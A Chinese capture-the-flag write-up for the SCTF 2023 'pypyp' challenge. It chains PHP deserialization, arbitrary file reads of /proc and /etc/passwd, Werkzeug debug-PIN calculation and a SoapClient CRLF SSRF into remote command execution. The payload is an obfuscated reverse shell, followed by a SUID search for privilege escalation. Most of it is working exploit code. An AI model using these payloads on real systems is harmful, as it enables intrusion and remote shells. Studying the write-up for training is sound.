Contents

2023SCTF pypyp

题目信息

  • 题目名称:2023SCTF pypyp?
  • 题目镜像:lxxxin/sctf2023_pypyp
  • flag信息:
    • /flag(需要SUID提权)
  • 内部端口:80
  • 题目描述:a piece of cake but hard work。per 5 min restart. pay attention to /app/app.py

启动脚本

1
docker run -it -d -p 12345:80 -e FLAG=flag{8382843b-d3e8-72fc-6625-ba5269953b23} lxxxin/sctf2023_pypyp

WriteUp

打开题目显示没有session

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202308162320966.png

可以利用SESSION_UPLOAD_PROGRESS创建一个session:

  • 下方的proxies为BurpSuite的代理地址
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
import requests
url = "http://1.1.1.1:49343/"
data = {
    "PHP_SESSION_UPLOAD_PROGRESS":"a"
}
file = {
    "file": ("a","a")
}
cookies = {
    "PHPSESSID": "a"
}
proxies = {
    "http": "127.0.0.1:8080"
}
req = requests.post(url, data=data, files=file, cookies=cookies, proxies=proxies)
print(req.text)

发包过去就能拿到源码了

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202308162320967.png

获取到的源码如下,这里稍作分析:

  • $_POST['data']可控,并且会对其反序列化后覆盖变量,所以我们可以任意构造后续的变量,注意在传参的时候需要序列化数据
  • 核心看三个if分支,第一个if分支会对properties变量反序列化,并且调用sctf方法,由于代码里不存在类有sctf方法,因此第一反应应该是构造SoapClient原生类打SSRF
  • 第二个else if分支的用途就比较明显了,可以利用原生类读取任意文件
  • 第三个else语句会去请求内部5000端口的服务并返回结果,一般5000端口是Flask服务,不过这里file_get_contents只能发送GET请求,如果要打Flask的/console的Debug服务需要带Cookie
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
    error_reporting(0);
    if(!isset($_SESSION)){
        die('Session not started');
    }
    highlight_file(__FILE__);
    $type = $_SESSION['type'];
    $properties = $_SESSION['properties'];
    echo urlencode($_POST['data']);
    extract(unserialize($_POST['data']));
    if(is_string($properties)&&unserialize(urldecode($properties))){
        $object = unserialize(urldecode($properties));
        $object -> sctf();
    exit();
    } else if(is_array($properties)){
        $object = new $type($properties[0],$properties[1]);
    } else {
        $object = file_get_contents('http://127.0.0.1:5000/'.$properties);
    }
    echo "this is the object: $object <br>";

?>

这里的解题思路如下:

  1. 利用SplFIleObject原生类读取文件计算PIN
  2. 利用SoapClient原生类SSRF打Flask服务的Debug,最终RCE

这里简单讲一下SoapClient原生类SSRF:

  • SoapClient原生类SSRF本质上是:当我们实例化一个SoapClient对象,其中构造方法的两个参数可控,如果调用SoapClient不存在的方法,则会向指定URI发送一个POST请求(原本这个类的作用类似于请求远程API接口),由于构造方法的内容可控,导致我们可以在User-Agent的位置注入恶意参数,进而访问内网服务资源
  • 这里的$data是POST的内容,$lendata为$data的长度,用作计算Content-Length
  • 注意在HTTP请求中的换行均为\r\n,其中Header与POST体之间有两个\r\n
  • 红色方框以外的会被丢弃
1
2
3
4
5
6
<?php
$data = "name=admin";
$lendata = strlen($data);
$ua = "datou\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: $lendata\r\n\r\n$data";
$client = new SoapClient(null,array('uri' => 'datou' , 'location' => 'http://127.0.0.1:9999/test' , 'user_agent' => $ua));
$client->getFlag();

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202308162320968.png

首先我们需要计算PIN,计算PIN需要以下几个参数:

  • 运行Flask程序的用户名(可以在/etc/passwd中找到)
  • flask的包路径(其值类似于/usr/local/lib/python3.8/site-packages/flask/app.py)
  • /sys/class/net/eth0/address
  • /proc/sys/kernel/random/boot_id
  • /proc/self/cgroup

接着去读文件,生成读文件序列化数据脚本如下:

1
2
3
4
5
<?php
$data["type"] = "SplFileObject";
$data["properties"][0] = "php://filter/read=convert.base64-encode/resource=/proc/sys/kernel/random/boot_id";
$data["properties"][1] = "r";
echo serialize($data);

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202308162320969.png

这里我读到的信息如下(后面三个值,每个人都不一样):

  • 通过/etc/passwd发现有个app用户
  • /sys/class/net/eth0/address为02:42:ac:11:00:1b
  • /proc/sys/kernel/random/boot_id为19cc2109-9300-4ed8-bed1-ed632ed255a4
  • /proc/self/cgroup为0d4978cb4c9f3ec740cec2c1dc4ac9a80bfea4762276d26714816aca45888240

比较麻烦的是获取flask的包路径,这里可以利用GlobIterator原生类读取(这个类的构造方法允许有两个参数)

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202308162320970.png

匹配的脚本如下:

1
2
3
4
5
6
<?php
$data["type"] = "GlobIterator";
$data["properties"][0] = "glob:///usr/local/lib/python3.9/dist-packages/flask/app.p*";
$data["properties"][1] = 1;
echo serialize($data);
//a:2:{s:4:"type";s:12:"GlobIterator";s:10:"properties";a:2:{i:0;s:58:"glob:///usr/local/lib/python3.9/dist-packages/flask/app.p*";i:1;i:1;}}

最终的匹配结果为:/usr/local/lib/python3.9/dist-packages/flask/app.py

在比赛的时候,位于/usr/lib/python3.8/site-packages/flask/app.py,常见的路径就是这几个,可以利用glob的通配符多试试,有点费事,如果匹配到了就会返回文件名,匹配不到就不返回,有点类似布尔盲注

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202308162320971.png

顺便把题目提示的/app/app.py读取了,可以看到开启了Debug模式

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
from flask import Flask

app = Flask(__name__)

@app.route('/')
def index():
    return 'Hello World!'

if __name__ == '__main__':
    app.run(host="0.0.0.0",debug=True)

接着计算PIN:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import hashlib
from itertools import chain
import time
probably_public_bits = [
    'app'# /etc/passwd
    'flask.app',# 默认值
    'Flask',# 默认值
    '/usr/local/lib/python3.9/dist-packages/flask/app.py' # 报错得到
]

private_bits = [
    str(int('02:42:ac:11:00:1b'.replace(":", ""), 16)), # /sys/class/net/eth0/address
    '19cc2109-9300-4ed8-bed1-ed632ed255a4' + # /proc/sys/kernel/random/boot_id 
    '0d4978cb4c9f3ec740cec2c1dc4ac9a80bfea4762276d26714816aca45888240' # /proc/self/cgroup 
]

h = hashlib.sha1() # 有些版本是md5,Python3大部分版本是sha1
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print("pin为: " + rv)
cookie = str(int(time.time())) + "|" + hashlib.sha1(f"{rv} added salt".encode("utf-8", "replace")).hexdigest()[:12]
print(f"cookie为: {cookie_name}={cookie}")

我这里的计算结果为140-931-835,每个人都不一样,如果担心计算错误,可以查看容器的日志:docker logs -f <container-id>

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202308162320972.png

可以看到我这里计算结果是正确的

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202308162320973.png

有了PIN之后,就是通过SoapClient类SSRF去RCE了

当然,我们还是需要知道进入Debug模式命令执行的具体请求参数,由于比赛时没有可视化页面,正常的话是直接访问/console接口输入PIN点点点就完事了,但是这里我们只能通过SSRF的方式

本地起个Flask:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
from flask import Flask

app = Flask(__name__)

@app.route('/')
def index():
    return 'Hello World!'

if __name__ == '__main__':
    app.run(host="0.0.0.0",port=8088,debug=True)

抓包,访问/console,输入PIN,执行命令,看看整个流程是怎么样的

其实也很简单,先是一个GET请求,传参,然后返回Cookie(这个Cookie是通过计算得到的,上面已经给出了)

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202308162320974.png

之后携带cookie去执行命令即可

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202308162320975.png

这里有个小问题,就是验证PIN的s值的获取

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202308162320976.png

这个值实际上是存储在/console页面源码中

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202308162320977.png

题目刚好也提供了这一功能访问/console页面:

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202308162320978.png

1
2
3
4
<?php
$data["properties"] = "console";
echo serialize($data);
//a:1:{s:10:"properties";s:7:"console";}

同样传给data可以获取到SECRET,我这里是Y8jRuFsyHCoJ64lgXpk0

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202308162320979.png

接下来就是构造SoapClient请求打SSRF了,需要构造的包大概长下方这样

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202308162320981.png

构造SSRF请求的EXP如下:

  • 复现的时候替换下方4-6行即可
  • 我这里命令执行做了两次Base64编码是因为+在中途传参会出现编码问题,同时注意空格最好用${IFS}代替,同样也是防止编码问题
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
<?php
$data = "name=admin";
$lendata = strlen($data);
$cookie = "__wzd1cebf2989b4eebb2a577=1687509747|5b1000f3f6c5";
$cmd = 'echo${IFS}TDJKcGJpOWlZWE5vSUMxcElENG1JQzlrWlhZdmRHTndMekV1TVM0eExqRXZNems1T1RrZ01ENG1NUT09|base64${IFS}-d|base64${IFS}-d|bash';
$s = "Y8jRuFsyHCoJ64lgXpk0";
$ua = "datou\r\nCookie: $cookie\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: $lendata\r\n\r\n$data";
$uri = 'http://127.0.0.1:5000/console?&__debugger__=yes&cmd=__import__("os").system("""$cmd""")&frm=0&s=$s';
$uri = str_replace('$s', "$s", $uri);
$uri = str_replace('$cmd', "$cmd", $uri);
$client = new SoapClient(null,array('uri' => 'datou' , 'location' => $uri, 'user_agent' => $ua));
$serdata["properties"] = urlencode(serialize($client));
echo serialize($serdata);
//a:1:{s:10:"properties";s:746:"O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A5%3A%22datou%22%3Bs%3A8%3A%22location%22%3Bs%3A237%3A%22http%3A%2F%2F127.0.0.1%3A5000%2Fconsole%3F%26__debugger__%3Dyes%26cmd%3D__import__%28%22os%22%29.system%28%22%22%22echo%24%7BIFS%7DTDJKcGJpOWlZWE5vSUMxcElENG1JQzlrWlhZdmRHTndMekV1TVM0eExqRXZNems1T1RrZ01ENG1NUT09%7Cbase64%24%7BIFS%7D-d%7Cbase64%24%7BIFS%7D-d%7Cbash%22%22%22%29%26frm%3D0%26s%3DY8jRuFsyHCoJ64lgXpk0%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A147%3A%22datou%0D%0ACookie%3A+__wzd1cebf2989b4eebb2a577%3D1687509747%7C5b1000f3f6c5%0D%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A+10%0D%0A%0D%0Aname%3Dadmin%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D";}

成功反弹shell

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202308162320982.png

搜索有SUID权限的命令:

1
find / -perm -u=s -type f 2>/dev/null

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202308162320983.png

发现curl可以使用:

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202308162320984.png